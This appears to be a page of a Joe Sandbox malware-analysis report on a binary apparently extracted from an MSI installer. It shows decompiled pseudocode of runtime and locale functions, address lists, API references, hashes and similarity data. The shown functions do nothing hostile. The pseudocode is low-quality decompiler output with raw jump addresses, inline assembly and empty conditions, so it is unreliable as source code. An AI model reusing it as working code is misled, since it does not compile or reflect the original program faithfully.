				if (_t46 != 0) goto 0xaf6e7cce;
				goto 0xaf6e7d2d;
				goto 0xaf6e7cd7;
				_t78 = _t46 - 0x2000;
				if (_t78 != 0) goto 0xaf6e7d2d;
				asm("movaps xmm0, xmm6");
				asm("andps xmm0, [0x5f875]");
				asm("comisd xmm0, [0x5f855]");
				if (_t78 <= 0) goto 0xaf6e7d2d;
				asm("movaps xmm0, xmm6");
				E00007FF77FF7AF71B0D0(6, _t125 - 0x49, __r9);
				asm("cdq");
				_t112 = 6 + _t89 + 0x32;
				if (_t112 -  *((intOrPtr*)(_t125 - 0x19)) > 0) goto 0xaf6e7d4d;
				_t91 =  >=  ?  *(_t125 - 0x29) : _t125 - 0x29;
				 *((long long*)(_t125 - 0x19)) = _t112;
				 *((char*)(( >=  ?  *(_t125 - 0x29) : _t125 - 0x29) + _t112)) = 0;
				goto 0xaf6e7d5c;
				r8d = 0;
				_t57 = E00007FF77FF7AF6DE9E0(6 + _t89, _t125 - 0x29, _t112 -  *((intOrPtr*)(_t125 - 0x19)), __r9);
				r9d =  *(__r9 + 0x18);
				r8d = 0;
				E00007FF77FF7AF6E2AE4(_t57,  >=  ?  *(_t125 - 0x29) : _t125 - 0x29, _t139, _t125 - 9, __r10);
				_t104 =  >=  ?  *(_t125 - 0x29) : _t125 - 0x29;
				asm("movsd [esp+0x20], xmm6");
				r9d = __edi;
				_t59 = E00007FF77FF7AF6DF8E0( >=  ?  *(_t125 - 0x29) : _t125 - 0x29,  >=  ?  *(_t125 - 0x29) : _t125 - 0x29,  *((intOrPtr*)(_t125 - 0x19)),  >=  ?  *(_t125 - 0x29) : _t125 - 0x29,  *((intOrPtr*)(_t125 - 0x19)));
				_t93 =  >=  ?  *(_t125 - 0x29) : _t125 - 0x29;
				asm("inc ecx");
				asm("movdqu [ebp-0x39], xmm0");
				 *((long long*)(_t127 + 0x30)) = _t59;
				 *((long long*)(_t127 + 0x28)) =  >=  ?  *(_t125 - 0x29) : _t125 - 0x29;
				 *((char*)(_t127 + 0x20)) =  *((intOrPtr*)(_t125 + 0x77));
				E00007FF77FF7AF6E2B78(_t89 + 1, 0x14f8b589 * (( *(_t125 - 0x49) ^ _t71) - _t71) * 0x7597 >> 0x20 >> 0xd, 6 + _t89, _t138, _t125 - 0x39, _t124);
				_t118 =  *((intOrPtr*)(_t125 - 0x11));
				if (_t118 - 0x10 < 0) goto 0xaf6e7e08;
				if (_t118 + 1 - 0x1000 < 0) goto 0xaf6e7e03;
				if ( *(_t125 - 0x29) -  *((intOrPtr*)( *(_t125 - 0x29) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xaf6e7e31;
				_t63 = E00007FF77FF7AF708B70(E00007FF77FF7AF6D7870( *((intOrPtr*)( *(_t125 - 0x29) - 8))), (( *(_t125 - 0x49) ^ _t71) - _t71) * 0x7597,  *(_t125 - 1) ^ _t127);
				asm("movaps xmm6, [esp+0x90]");
				return _t63;
			}

0x7ff7af6e7c4c
0x7ff7af6e7c4c
0x7ff7af6e7c59
0x7ff7af6e7c5d
0x7ff7af6e7c64
0x7ff7af6e7c68
0x7ff7af6e7c6f
0x7ff7af6e7c72
0x7ff7af6e7c76
0x7ff7af6e7c7c
0x7ff7af6e7c7f
0x7ff7af6e7c82
0x7ff7af6e7c87
0x7ff7af6e7c8a
0x7ff7af6e7c8e
0x7ff7af6e7c8e
0x7ff7af6e7c92
0x7ff7af6e7c96
0x7ff7af6e7ca2
0x7ff7af6e7ca4
0x7ff7af6e7cab
0x7ff7af6e7cb4
0x7ff7af6e7cba
0x7ff7af6e7cbd
0x7ff7af6e7cc1
0x7ff7af6e7cc3
0x7ff7af6e7cc7
0x7ff7af6e7ccc
0x7ff7af6e7cd0
0x7ff7af6e7cda
0x7ff7af6e7cdf
0x7ff7af6e7ce1
0x7ff7af6e7ce4
0x7ff7af6e7ceb
0x7ff7af6e7cf3
0x7ff7af6e7cf9
0x7ff7af6e7cfc
0x7ff7af6e7d04
0x7ff7af6e7d2d
0x7ff7af6e7d34
0x7ff7af6e7d3e
0x7ff7af6e7d43
0x7ff7af6e7d47
0x7ff7af6e7d4b
0x7ff7af6e7d50
0x7ff7af6e7d57
0x7ff7af6e7d5c
0x7ff7af6e7d60
0x7ff7af6e7d6a
0x7ff7af6e7d78
0x7ff7af6e7d7d
0x7ff7af6e7d83
0x7ff7af6e7d8d
0x7ff7af6e7d9e
0x7ff7af6e7da3
0x7ff7af6e7da8
0x7ff7af6e7dad
0x7ff7af6e7db2
0x7ff7af6e7dba
0x7ff7af6e7dcb
0x7ff7af6e7dd1
0x7ff7af6e7dd9
0x7ff7af6e7dec
0x7ff7af6e7e01
0x7ff7af6e7e12
0x7ff7af6e7e17
0x7ff7af6e7e30

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E7E31
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E801D

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 704f4eaabb36c5699c4f8df2658f3017a5e78e03b1284c405ff4fdc0dabb9dfd
Instruction ID: 97848241dca7784f38dde212293ba36648545f368e5713e965ab529997bcd87f
Opcode Fuzzy Hash: 704f4eaabb36c5699c4f8df2658f3017a5e78e03b1284c405ff4fdc0dabb9dfd
Instruction Fuzzy Hash: 9BD11223B19AC98AFB10EB74D4103EDA376EB587D8F815631DE5C27BA9DF28E441C250

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E209C Relevance: 1.7, APIs: 1, Instructions: 247
COMMONCrypto

Download Yara Rule

C-Code - Quality: 18%

			E00007FF77FF7AF6E209C(void* __ebx, void* __ecx, void* __rcx, long long __rdx, void* __r8, intOrPtr* __r9) {
				signed int _v80;
				long long _v88;
				long long _v96;
				char _v112;
				long long _v120;
				long long _v128;
				long long _v136;
				long long _v144;
				intOrPtr _v148;
				intOrPtr _v151;
				char _v152;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r14;
				signed long long _t55;
				long long _t58;
				void* _t65;
				long long _t82;
				intOrPtr* _t83;
				void* _t88;
				long long _t97;
				long long _t98;
				intOrPtr _t99;

				_t55 =  *0xaf751030; // 0xa13e9e6732fb
				_v80 = _t55 ^ _t88 - 0x00000078;
				_v136 = __rdx;
				_t3 = _t82 + 1; // 0x1
				r15d = _t3;
				if ( *__r9 == dil) goto 0xaf6e20f3;
				_t58 =  !=  ? __r8 : __r8 + 1;
				_t65 = _t58;
				if ( *((intOrPtr*)(__r9 + _t98)) != 0) goto 0xaf6e20dc;
				_v112 = _t82;
				_v96 = _t82;
				_v88 = 0xf;
				_v112 = dil;
				if (_t65 - 0xf > 0) goto 0xaf6e2126;
				_v96 = _t65;
				E00007FF77FF7AF70ABF0();
				 *((intOrPtr*)(_t88 + _t65 - 0x30)) = dil;
				goto 0xaf6e2136;
				r9d = 0;
				r8b = _v151;
				E00007FF77FF7AF6D3F20(_t65,  &_v112, _t65, _t82, _t97);
				E00007FF77FF7AF6E8850(r15b, _t65, __rcx, _t88);
				_t83 = _t58;
				_v120 = _t58;
				E00007FF77FF7AF6DC000(_t58,  &_v128);
				_v128 = _t58;
				if (_t83 == 0) goto 0xaf6e2181;
				 *0xaf7354d0();
				if ( *((intOrPtr*)( *_t83 + 0x10)) == 0) goto 0xaf6e2181;
				 *0xaf7354d0();
				_v152 = 0;
				r14d = 0;
				r12d = 0;
				_v148 = 0xfffffffe;
				_v144 = _t98;
				_t99 = _v88;
				if (_t65 != 0) goto 0xaf6e2207;
				if (_t99 - 0x10 < 0) goto 0xaf6e21de;
				_t23 = _t99 + 1; // 0x10
				if (_t23 - 0x1000 < 0) goto 0xaf6e21d6;
				if (_v112 -  *((intOrPtr*)(_v112 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xaf6e23d2;
				E00007FF77FF7AF6D7870( *((intOrPtr*)(_v112 - 8)));
				return E00007FF77FF7AF708B70(_v148, 0, _v80 ^ _t88 - 0x00000078);
			}

0x7ff7af6e20b0
0x7ff7af6e20ba
0x7ff7af6e20c4
0x7ff7af6e20cd
0x7ff7af6e20cd
0x7ff7af6e20d4
0x7ff7af6e20e3
0x7ff7af6e20e7
0x7ff7af6e20f1
0x7ff7af6e20f3
0x7ff7af6e20f7
0x7ff7af6e20fb
0x7ff7af6e2103
0x7ff7af6e210f
0x7ff7af6e2111
0x7ff7af6e211a
0x7ff7af6e211f
0x7ff7af6e2124
0x7ff7af6e2126
0x7ff7af6e2129
0x7ff7af6e2130
0x7ff7af6e2139
0x7ff7af6e213e
0x7ff7af6e2141
0x7ff7af6e2149
0x7ff7af6e214e
0x7ff7af6e2155
0x7ff7af6e2161
0x7ff7af6e216d
0x7ff7af6e217b
0x7ff7af6e2183
0x7ff7af6e2186
0x7ff7af6e2189
0x7ff7af6e218c
0x7ff7af6e2196
0x7ff7af6e219a
0x7ff7af6e21a5
0x7ff7af6e21ab
0x7ff7af6e21ad
0x7ff7af6e21bb
0x7ff7af6e21d0
0x7ff7af6e21d9
0x7ff7af6e21fd

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E23D2

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: b30dee655bb1695a6fd8abcdb4ac8ca9da4bd695e41c4fc29098607c9e2744de
Instruction ID: 8fc599fc5f37735d9d294a4d5442f4ea6addc0cc1072a247aa32af1b06c6b729
Opcode Fuzzy Hash: b30dee655bb1695a6fd8abcdb4ac8ca9da4bd695e41c4fc29098607c9e2744de
Instruction Fuzzy Hash: D7A1F023E0A6C2C9FB14AB65D5503FC6BA7AB15B88F9A5031CF4D177A6CE2ED441C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF72B9B0 Relevance: 1.6, APIs: 1, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 42%

			E00007FF77FF7AF72B9B0(void* __ecx, void* __edx, void* __rax, long long __rbx, signed int* __rcx, void* __rdx, signed int __r8, void* __r9, long long _a8) {
				signed int _t35;
				signed char _t36;
				signed char _t37;
				signed int _t52;
				void* _t54;
				signed int* _t58;
				signed short** _t65;
				void* _t66;
				signed long long _t71;
				signed long long _t72;
				signed long long _t75;

				_t54 = __rax;
				_a8 = __rbx;
				_t58 = __rcx;
				E00007FF77FF7AF72257C(__rax, __rcx, __rcx, __rdx, _t66, __r9);
				_t71 = __r8 | 0xffffffff;
				_t2 = _t54 + 0x98; // 0x98
				_t65 = _t2;
				_t75 = _t71 + 1;
				if (( *_t65)[_t75] != 0) goto 0xaf72b9d5;
				_t65[3] = 0 | _t75 == 0x00000003;
				_t72 = _t71 + 1;
				if (_t65[1][_t72] != 0) goto 0xaf72b9ef;
				r8d = 2;
				_t65[3] = 0 | _t72 == 0x00000003;
				_t58[1] = 0;
				if (_t65[3] != 0) goto 0xaf72ba3e;
				r10d = 0;
				r9d =  *( *_t65) & 0x0000ffff;
				_t16 = _t75 - 0x41; // 0x58
				if (_t16 - 0x19 <= 0) goto 0xaf72ba36;
				r9w = r9w - 0x61;
				if (r9w - 0x19 > 0) goto 0xaf72ba3b;
				r10d =  &(r10d[0]);
				goto 0xaf72ba19;
				r8d = r10d;
				_t65[2] = r8d;
				_t35 = EnumSystemLocalesW(??, ??);
				_t52 =  *_t58 & 0x00000007;
				asm("bt ecx, 0x9");
				_t36 = _t35 & 0xffffff00 | _t52 > 0x00000000;
				asm("bt ecx, 0x8");
				_t37 = _t36 & 0xffffff00 | _t52 > 0x00000000;
				if ((_t37 & (0 | _t52 != 0x00000000) & _t36) != 0) goto 0xaf72ba72;
				 *_t58 = 0;
				return _t37;
			}

0x7ff7af72b9b0
0x7ff7af72b9b0
0x7ff7af72b9ba
0x7ff7af72b9bd
0x7ff7af72b9c2
0x7ff7af72b9cb
0x7ff7af72b9cb
0x7ff7af72b9d5
0x7ff7af72b9dd
0x7ff7af72b9e8
0x7ff7af72b9ef
0x7ff7af72b9f7
0x7ff7af72b9ff
0x7ff7af72ba08
0x7ff7af72ba0b
0x7ff7af72ba11
0x7ff7af72ba16
0x7ff7af72ba19
0x7ff7af72ba20
0x7ff7af72ba28
0x7ff7af72ba2a
0x7ff7af72ba34
0x7ff7af72ba36
0x7ff7af72ba39
0x7ff7af72ba3b
0x7ff7af72ba3e
0x7ff7af72ba4e
0x7ff7af72ba56
0x7ff7af72ba5c
0x7ff7af72ba60
0x7ff7af72ba65
0x7ff7af72ba69
0x7ff7af72ba6e
0x7ff7af72ba70
0x7ff7af72ba7c

APIs

Part of subcall function 00007FF7AF72257C: GetLastError.KERNEL32 ref: 00007FF7AF72258B
Part of subcall function 00007FF7AF72257C: FlsGetValue.KERNEL32 ref: 00007FF7AF7225A0
Part of subcall function 00007FF7AF72257C: SetLastError.KERNEL32 ref: 00007FF7AF72262B

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF7AF72C19B,00000000,00000092,?,?,00000000,?,?,00007FF7AF720F65), ref: 00007FF7AF72BA4E

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 98413fd6c35156255f7198973583de336150fb19850718324e43e8cb72982bde
Instruction ID: f6b62f0ee68beb807a69b976792fe890dc83fefe3f0a01a2c196a8e1486b9422
Opcode Fuzzy Hash: 98413fd6c35156255f7198973583de336150fb19850718324e43e8cb72982bde
Instruction Fuzzy Hash: 6711276BE0D685C9EB15AF1AD8406ECB7A0F784BA0FC58132C659433E0CE38D5D1C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF72BA80 Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E00007FF77FF7AF72BA80(void* __ecx, void* __edx, void* __rax, long long __rbx, signed char* __rcx, void* __rdx, signed int __r8, long long _a8) {
				int _t17;
				void* _t25;
				void* _t29;
				signed char* _t31;
				signed short* _t36;
				void* _t38;
				signed long long _t44;
				void* _t45;
				void* _t46;

				_t29 = __rax;
				_a8 = __rbx;
				_t31 = __rcx;
				E00007FF77FF7AF72257C(__rax, __rcx, __rcx, __rdx, _t38, _t45);
				_t46 = _t29;
				_t36 =  *((intOrPtr*)(_t29 + 0x98));
				_t44 = (__r8 | 0xffffffff) + 1;
				if (_t36[_t44] != 0) goto 0xaf72baa2;
				_t25 = _t44 - 3;
				 *(_t46 + 0xb0) = 0 | _t25 == 0x00000000;
				if (_t25 == 0) goto 0xaf72baeb;
				r9d = 0;
				r8d =  *_t36 & 0x0000ffff;
				if (_t44 - 0x41 - 0x19 <= 0) goto 0xaf72bae3;
				r8w = r8w - 0x61;
				if (r8w - 0x19 > 0) goto 0xaf72bae8;
				r9d = r9d + 1;
				goto 0xaf72bac6;
				 *((intOrPtr*)(_t46 + 0xac)) = r9d;
				_t17 = EnumSystemLocalesW(??, ??);
				if (( *_t31 & 0x00000004) != 0) goto 0xaf72bb0b;
				 *_t31 = 0;
				return _t17;
			}

0x7ff7af72ba80
0x7ff7af72ba80
0x7ff7af72ba8a
0x7ff7af72ba8d
0x7ff7af72ba96
0x7ff7af72ba9b
0x7ff7af72baa2
0x7ff7af72baaa
0x7ff7af72baae
0x7ff7af72baba
0x7ff7af72bac1
0x7ff7af72bac3
0x7ff7af72bac6
0x7ff7af72bad5
0x7ff7af72bad7
0x7ff7af72bae1
0x7ff7af72bae3
0x7ff7af72bae6
0x7ff7af72baeb
0x7ff7af72bafe
0x7ff7af72bb07
0x7ff7af72bb09
0x7ff7af72bb15

APIs

Part of subcall function 00007FF7AF72257C: GetLastError.KERNEL32 ref: 00007FF7AF72258B
Part of subcall function 00007FF7AF72257C: FlsGetValue.KERNEL32 ref: 00007FF7AF7225A0
Part of subcall function 00007FF7AF72257C: SetLastError.KERNEL32 ref: 00007FF7AF72262B

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF7AF72C157,00000000,00000092,?,?,00000000,?,?,00007FF7AF720F65), ref: 00007FF7AF72BAFE

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 0a9393cc430802da80012ed41e1fd28b5bf4e50161fdb13952458af86f3334aa
Instruction ID: dc71f7afb641c8ab64d507972e7d2c9c393e0fab97c00b1e926906ccac56b5d8
Opcode Fuzzy Hash: 0a9393cc430802da80012ed41e1fd28b5bf4e50161fdb13952458af86f3334aa
Instruction Fuzzy Hash: 3C012876F092C146E7156F1AE880BF9B2E1EB487A0FC68331D669032E4DF3CA480C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF724610 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF7AF724A63,?,?,?,?,?,?,?,?,00000000,00007FF7AF72AFFC), ref: 00007FF7AF72465F

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: a957e9df1449ee8833246e0993ac0cc27aa9bcec180986a191db03c5f1e9a7a2
Instruction ID: d18eb59d9cd052dd89c1ab8056caf8bb4396ae3b72358da33e6777556e29ada1
Opcode Fuzzy Hash: a957e9df1449ee8833246e0993ac0cc27aa9bcec180986a191db03c5f1e9a7a2
Instruction Fuzzy Hash: 7AF0467AA0AA8182EB04EB16F8505AAA362EB8C7C0FC58135DA4D83379CE2CD4648610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF7083E0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32 ref: 00007FF7AF708401

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2a2d6279091a2d7d83709e9c9c649bd59122d8bd06ebfc51da7b53dfec20cc23
Instruction ID: 4b45a333746292a15774079c9dde539a0269f1add8f045a87a2e87619bda31db
Opcode Fuzzy Hash: 2a2d6279091a2d7d83709e9c9c649bd59122d8bd06ebfc51da7b53dfec20cc23
Instruction Fuzzy Hash: 69F08C7A92E09282E2986E18C8597B8A250FF48341FC20535F24A42EB0CE6CE5468B21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF71A864 Relevance: .5, Instructions: 495
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00007FF77FF7AF71A864(void* __eflags, long long __rbx, void* __rdx, long long __rsi) {
				void* _t165;
				void* _t262;
				signed long long _t263;
				signed long long _t265;
				signed long long _t267;
				signed long long _t269;
				signed long long _t271;
				intOrPtr* _t273;
				intOrPtr* _t275;
				intOrPtr* _t277;
				void* _t279;
				signed long long _t281;
				signed long long _t283;
				signed long long _t285;
				signed long long _t287;
				signed long long _t289;
				signed long long _t291;
				signed long long _t293;
				signed long long _t295;
				signed long long _t297;
				signed long long _t299;
				signed long long _t303;
				signed long long _t307;
				signed long long _t311;
				long long _t317;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t329;
				void* _t331;
				unsigned long long _t334;
				unsigned long long _t337;
				unsigned long long _t340;
				unsigned long long _t343;
				unsigned long long _t346;
				unsigned long long _t349;
				unsigned long long _t352;
				unsigned long long _t355;
				unsigned long long _t419;
				unsigned long long _t422;
				unsigned long long _t425;
				unsigned long long _t428;
				void* _t444;
				intOrPtr* _t445;
				intOrPtr* _t447;
				intOrPtr* _t449;
				intOrPtr* _t451;
				intOrPtr* _t453;
				intOrPtr* _t455;
				intOrPtr* _t457;
				intOrPtr* _t459;
				intOrPtr* _t461;
				intOrPtr* _t463;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				signed long long _t472;
				signed long long _t473;
				signed long long _t483;
				signed long long _t484;
				long long _t486;
				intOrPtr* _t487;
				void* _t489;
				void* _t490;
				void* _t513;
				long long _t516;
				signed long long _t519;
				void* _t521;

				_t317 = __rbx;
				_t262 = _t489;
				 *((long long*)(_t262 + 8)) = __rbx;
				 *((long long*)(_t262 + 0x10)) = _t486;
				 *((long long*)(_t262 + 0x18)) = __rsi;
				_push(_t444);
				_t490 = _t489 - 0x50;
				E00007FF77FF7AF70F850(_t262, __rbx, _t262 - 0x48, __rdx, __rsi, _t521);
				_t263 =  *((intOrPtr*)(_t490 + 0x38));
				r13d = 0;
				r14d = 0;
				r15d = 0;
				_t487 =  *((intOrPtr*)(_t263 + 0x120));
				if (r15d != 1) goto 0xaf71a8d6;
				E00007FF77FF7AF722DD8(_t263, _t317);
				_t519 = _t263;
				if (_t263 == 0) goto 0xaf71af08;
				E00007FF77FF7AF70ABF0();
				_t516 = _t317;
				_t513 = _t519 - _t487;
				_t445 = _t487;
				if (r15d != 1) goto 0xaf71a906;
				 *((long long*)(_t513 + _t445)) = _t519 + _t317;
				if (E00007FF77FF7AF722014(_t263, _t519 + _t317, _t516 - _t317,  *_t445) != 0) goto 0xaf71af0d;
				_t265 = (_t263 | 0xffffffff) + 1;
				if ( *((char*)( *_t445 + _t265)) != 0) goto 0xaf71a90d;
				_t468 = _t444 + 1;
				_t319 = _t317 + 1 + _t265;
				if (_t468 - 7 < 0) goto 0xaf71a8e2;
				_t447 = _t487 + 0x38;
				if (r15d != 1) goto 0xaf71a953;
				 *((long long*)(_t447 + _t513)) = _t519 + _t319;
				if (E00007FF77FF7AF722014(_t265, _t519 + _t319, _t516 - _t319,  *_t447) != 0) goto 0xaf71af0d;
				_t267 = (_t265 | 0xffffffff) + 1;
				if ( *((char*)( *_t447 + _t267)) != 0) goto 0xaf71a95a;
				_t469 = _t468 + 1;
				_t321 = _t319 + 1 + _t267;
				if (_t469 - 7 < 0) goto 0xaf71a92f;
				_t449 = _t487 + 0x70;
				if (r15d != 1) goto 0xaf71a9a0;
				 *((long long*)(_t449 + _t513)) = _t519 + _t321;
				if (E00007FF77FF7AF722014(_t267, _t519 + _t321, _t516 - _t321,  *_t449) != 0) goto 0xaf71af0d;
				_t269 = (_t267 | 0xffffffff) + 1;
				if ( *((char*)( *_t449 + _t269)) != 0) goto 0xaf71a9a7;
				_t470 = _t469 + 1;
				_t323 = _t321 + 1 + _t269;
				if (_t470 - 0xc < 0) goto 0xaf71a97c;
				_t451 = _t487 + 0xd0;
				if (r15d != 1) goto 0xaf71a9f0;
				 *((long long*)(_t451 + _t513)) = _t519 + _t323;
				if (E00007FF77FF7AF722014(_t269, _t519 + _t323, _t516 - _t323,  *_t451) != 0) goto 0xaf71af0d;
				_t271 = (_t269 | 0xffffffff) + 1;
				if ( *((char*)( *_t451 + _t271)) != 0) goto 0xaf71a9f7;
				_t471 = _t470 + 1;
				_t325 = _t323 + 1 + _t271;
				if (_t471 - 0xc < 0) goto 0xaf71a9cc;
				_t453 = _t487 + 0x130;
				if (r15d != 1) goto 0xaf71aa40;
				 *((long long*)(_t453 + _t513)) = _t519 + _t325;
				if (E00007FF77FF7AF722014(_t271, _t519 + _t325, _t516 - _t325,  *_t453) != 0) goto 0xaf71af0d;
				_t273 = (_t271 | 0xffffffff) + 1;
				if ( *((char*)( *_t453 + _t273)) != 0) goto 0xaf71aa47;
				_t472 = _t471 + 1;
				_t327 = _t325 + 1 + _t273;
				if (_t472 - 2 < 0) goto 0xaf71aa1c;
				if (r15d != 1) goto 0xaf71aa92;
				 *((long long*)(_t519 + 0x140)) = _t519 + _t327;
				if (E00007FF77FF7AF722014(_t273, _t519 + _t327, _t516 - _t327,  *((intOrPtr*)(_t487 + 0x140))) != 0) goto 0xaf71af0f;
				goto 0xaf71aa94;
				_t473 = _t472 | 0xffffffff;
				_t275 = _t473 + 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t487 + 0x140)) + _t275)) != dil) goto 0xaf71aaa2;
				_t329 = _t327 + 1 + _t275;
				if (r15d != 1) goto 0xaf71aadc;
				 *((long long*)(_t519 + 0x148)) = _t519 + _t329;
				if (E00007FF77FF7AF722014(_t275, _t519 + _t329, _t516 - _t329,  *((intOrPtr*)(_t487 + 0x148))) != 0) goto 0xaf71af0f;
				_t277 = _t473 + 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t487 + 0x148)) + _t277)) != dil) goto 0xaf71aae6;
				_t331 = _t329 + 1 + _t277;
				if (r15d != 1) goto 0xaf71ab20;
				 *((long long*)(_t519 + 0x150)) = _t519 + _t331;
				if (E00007FF77FF7AF722014(_t277, _t519 + _t331, _t516 - _t331,  *((intOrPtr*)(_t487 + 0x150))) != 0) goto 0xaf71af0f;
				_t279 = _t473 + 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t487 + 0x150)) + _t279)) != dil) goto 0xaf71ab2a;
				if (r15d != 1) goto 0xaf71ab53;
				 *((intOrPtr*)(_t519 + 0x158)) =  *((intOrPtr*)(_t487 + 0x158));
				 *((intOrPtr*)(_t519 + 0x15c)) = 0;
				_t455 = _t487 + 0x160;
				goto 0xaf71ab64;
				_t334 = _t331 + 1 + _t279 + 1;
				if (0 != 0) goto 0xaf71ab61;
				if (r15d != 1) goto 0xaf71ab98;
				_t281 = _t334 >> 1;
				_t419 = _t516 - _t334 >> 1;
				 *((long long*)(_t455 + _t513)) = _t519 + _t281 * 2;
				if (E00007FF77FF7AF714858(_t281, _t519 + _t281 * 2, _t419,  *_t455) != 0) goto 0xaf71af0d;
				_t283 = (_t281 | 0xffffffff) + 1;
				if ( *((intOrPtr*)( *_t455 + _t283 * 2)) != 0) goto 0xaf71ab9f;
				if (_t453 + 9 - 7 < 0) goto 0xaf71ab64;
				_t457 = _t487 + 0x198;
				goto 0xaf71abcc;
				_t337 = _t334 + _t283 * 2 + 3;
